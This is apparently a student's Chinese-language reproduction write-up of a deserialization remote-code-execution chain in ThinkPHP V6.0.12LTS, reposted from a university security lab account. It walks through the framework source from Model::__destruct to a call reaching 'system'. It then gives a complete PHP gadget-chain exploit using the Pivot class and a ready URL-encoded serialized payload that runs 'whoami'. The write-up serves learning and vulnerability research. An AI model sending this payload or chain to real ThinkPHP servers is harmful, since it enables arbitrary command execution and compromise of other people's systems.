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2021级 Will1am | ThinkPHP V6.0.12LTS 反序列化漏洞复现
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目录结构
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利用链分析
2021级 Will1am | ThinkPHP V6.0.12LTS 反序列化漏洞复现
很久没学反序列化了，昨晚上做梦突然梦见国赛时候碰到了这道题并且无从下手，属实是寝食难安，现在把他学了。
目录结构
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├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
利用链分析
众所周知，__wakeup()和__destruct()这两种魔术方法在反序列化中是十分重要的存在，在面对这么大量的代码时，我们可以以这两种函数为切入点，来找出反序列化漏洞。
__wakeup() //执行unserialize()时，先会调用这个函数
__destruct() //对象被销毁时调用
找到切入点之后，用seay全局查询一下那里用到了这两种魔术方法
然后就是审计代码找可以利用的点了
<?php
namespace LeagueFlysystem;
final class SafeStorage
{
/**
* @var string
*/
private $hash;
/**
* @var array
*/
protected static $safeStorage = [];
public function __construct()
{
$this->hash = spl_object_hash($this);
static::$safeStorage[$this->hash] = [];
}
public function storeSafely($key, $value)
{
static::$safeStorage[$this->hash][$key] = $value;
}
public function retrieveSafely($key)
{
if (array_key_exists($key, static::$safeStorage[$this->hash])) {
return static::$safeStorage[$this->hash][$key];
}
}
public function __destruct()
{
unset(static::$safeStorage[$this->hash]);
}
}
第一个存在这个方法的是一个安全储存的部分，用于登录啥的，不存在我们要寻找的东西。
再看下一段
/**
* Disconnect on destruction.
*/
public function __destruct()
{
$this->disconnect();
}
这一块也没啥用，这里的销毁是用于连接断开时销毁，这一块代码主要是关于适配器的，是将某个类的接口转换成客户端期望的另一个接口表示，主要的目的是兼容性 ，让原本因接口不匹配不能一起工作的两个类可以协同工作。
再看下一段
<?php
namespace LeagueFlysystemCachedStorage;
use LeagueFlysystemCachedCacheInterface;
use LeagueFlysystemUtil;
abstract class AbstractCache implements CacheInterface
{
/**
* @var bool
*/
protected $autosave = true;
/**
* @var array
*/
protected $cache = [];
/**
* @var array
*/
protected $complete = [];
/**
* Destructor.
*/
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
根据文件名判断应该也是个差不多的玩意，但是只要$this->autosave为false那么就可以调用save方法
/**
* {@inheritdoc}
*/
public function autosave()
{
if ($this->autosave) {
$this->save();
}
}
没啥用继续往下看。
但是继续跟进save方法就没有相关方法了，先放在一边，我们再看下一块。
在vendortopthinkthink-ormsrcModel.php中找到了比较有嫌疑的
/**
* 析构方法
* @access public
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
这里只要让this->lazySave为true就可以成功运行，调用save方法。跟进一下看看save方法是个啥
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
其中这一句比较关键
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
这里只要this->isEmpty()或false === $this->trigger('BeforeWrite')就会返回false
里面一个条件为真才能不直接return，也即需要两个条件：
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
第一个条件需要继续跟进isEmpty()，我们先放一下，第二个条件是当this触发BeforeWrite的结果是true
再看trigger('BeforeWrite')，位于ModelEvent类中：
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
让$this->withEvent==false即可满足第二个条件，
我们跟进isEmpty()。
/**
* 判断模型是否为空
* @access public
* @return bool
*/
public function isEmpty(): bool
{
return empty($this->data);
}
可以看到他的作用是判断模型是否为空的，所以只要$this->data不为空就ok
让$this->data!=null即可满足这个条件。
再看这一句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
这里的意思是如果this->exists结果为true，那么就采用this->updateData()，如果不是就采用this->insertData($sequence)
/**
* 设置数据是否存在
* @access public
* @param bool $exists
* @return $this
*/
public function exists(bool $exists = true)
{
$this->exists = $exists;
return $this;
}
这里可以看到结果是为true的，所以我们跟进updateData()
/**
* 保存写入数据
* @access protected
* @return bool
*/
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
这里的话想要执行checkAllowFields()方法需要绕过前面的两个if判断，必须满足两个条件
$this->trigger('BeforeUpdate')==true
$data!=null
第一个条件上面已经满足了，只要关注让data不等于null就可以了
找找data的来源，跟进getChangedData()方法，在/vendor/topthink/think-orm/src/model/concern/Attribute.php中
/**
* 获取变化的数据 并排除只读数据
* @access public
* @return array
*/
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)
这一句如果this->force结果为true，那么便执行this->data，如果不是那么就会执行array_udiff_assoc($this->data, $this->origin, function ($a, $b)
但因为force没定义默认为null，所以进入了第二种情况，由于$this->data, $this->origin默认也不为null，所以不符合第一个if判断，最终$data=0，也即满足前面所提的第二个条件，$data!=null。
然后回到checkAllowFields()方法，查看一下他是如何调用的。
/**
* 检查数据是否允许写入
* @access protected
* @return array
*/
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
这里在第10-15行代码中可以看到，如果想进入宗福拼接操作，就需要进入else中，所以我们要使$this->field = array_keys(array_merge($this->schema, $this->jsonType));不成立，那么就需要让$this->field=null，$this->schema=null。
在第14行中出现了$this->table . $this->suffix这一字符串拼接，存在可控属性的字符拼接，可以触发__toString魔术方法，把$this->table设为触发__toString类即可。所以可以找一个有__tostring方法的类做跳板，寻找__tostring，
在/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到了
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
public function __toString()
{
return $this->toJson();
}
看来使需要使用toJson()，跟进一下
没找到相关，再看一眼代码，发现第九行中调用了toArray()方法，然后以json格式返回
那我们再看看toArray()方法
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
根据第34行和第44行，第34行是遍历给定的数组语句data数组。每次循环中，当前单元的之被赋给val并且数组内部的指针向前移一步（因此下一次循环中将会得到下一个单元），同时当前单元的键名也会在每次循环中被赋给变量key。第44行是将val和key相关联起来，漏洞方法是getAtrr触发，只需把$data设为数组就行。
在第47和49行中存在getAttr方法，那触发条件是啥呢？
$this->visible[$key]需要存在，而$key来自$data的键名，$data又来自$this->data，即$this->data必须有一个键名传给$this->visible，然后把键名$key传给getAttr方法，那岂不是默认就能触发…?
跟进getAttr方法，vendor/topthink/think-orm/src/model/concern/Attribute.php
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
在第18行中可以看到漏洞方法是getValue，但传入getValue方法中的$value是由getData方法得到的。
那就进一步跟进getData方法
/**
* 获取当前对象数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
可以看到$this->data是可控的（第16行），而其中的$fieldName来自getRealFieldName方法。
跟进getRealFieldName方法
/**
* 获取实际的字段名
* @access protected
* @param string $name 字段名
* @return string
*/
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
return $name;
}
当$this->strict为true时直接返回$name，即键名$key
返回getData方法，此时$fieldName=$key，进入if语句，返回$this->data[$key]，再回到getAttr方法，
return $this->getValue($name, $value, $relation);
即返回
return $this->getValue($name, $this->data[$key], $relation);
跟进getValue方法
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @param string $name 字段名称
* @param mixed $value 字段值
* @param bool|string $relation 是否为关联属性或者关联名
* @return mixed
* @throws InvalidArgumentException
*/
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
第30行中，如果我们让$closure为我们想执行的函数名，$value和$this->data为参数即可实现任意函数执行。
所以需要查看$closure属性是否可控，跟进getRealFieldName方法，
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
如果让$this->strict==true，即可让$fieldName等于传入的参数$name，即开始的$this->data[$key]的键值$key，可控
又因为$this->withAttr数组可控，所以，$closure可控·，值为$this->withAttr[$key]，参数就是$this->data，即$data的键值，
所以我们需要控制的参数：
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
EXP编写
捋一下
链子太长了，没搞过这么复杂的，重新捋一下参数的传递过程，要不就懵了，倒着捋慢慢往前分析
先看__toString()的触发
Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //出现 $this->data 参数
Attribute::getAttr()
Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
Attribute::getJsonValue() // 造成RCE漏洞
首先出现参数可控的点在Conversion::toArray()中（第二行），在这里如果控制$this->data=['whoami'=>['whoami']]，那么经过foreach遍历（第四行），传入Attribute::getAttr()函数的$key也就是whoami（19行）
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
然后在Attribute::getAttr()函数中，通过getData()函数从$this->data中拿到了数组中的value后返回
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
getData()返回的是数组中相应的value，所以第5行的$this->getData($name)也就是$this->getData($value=['whoami'])
在Attribute::getValue()函数中对withAttr和json参数进行了验证
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
第2行的if语句中需要$this->withAttr[$fieldName]存在的同时需要是一个数组，$this->withAttr['whoami'=>['system']]
第7行if语句中中是判断$fieldName是否在$this->json中，即in_array($fieldName, $this->json)，所以只需要$this->json=['whoami']
接下来分析一下__destruct()的触发过程
Model::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() // 触发 __toString()
首先在Model::__destruct()中$this->lazySave需要为true，参数可控
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
$this->lazySave=true
然后在Model::save() 需要绕过isEmpty()和$this->exists参数
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
第4行的$this->trigger('BeforeWrite')是默认为true的，所以只要$this->data不为空即可
第8行中如果this->exists结果为true，那么就采用this->updateData()，如果不是就采用this->insertData($sequence)所以我们需要让this->exists结果为true
那么最后就是Model::db()方法，保证$this->table能触发__toString()（第八行）
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
编写
首先Model类是一个抽象类，不能实例化，所以要想利用，得找出 Model 类的一个子类进行实例化，而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute，所以关键字可以直接用
将上面捋出来的需要的属性全部重新编写
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
全局搜索extends Model，找到一个Pivot类继承了Model
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace thinkmodel {
use thinkModel;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
原文始发于微信公众号（山警网络空间安全实验室）：皮蛋厂的学习日记 | 2022.7.25 ThinkPHP V6.0.12LTS 反序列化漏洞复现
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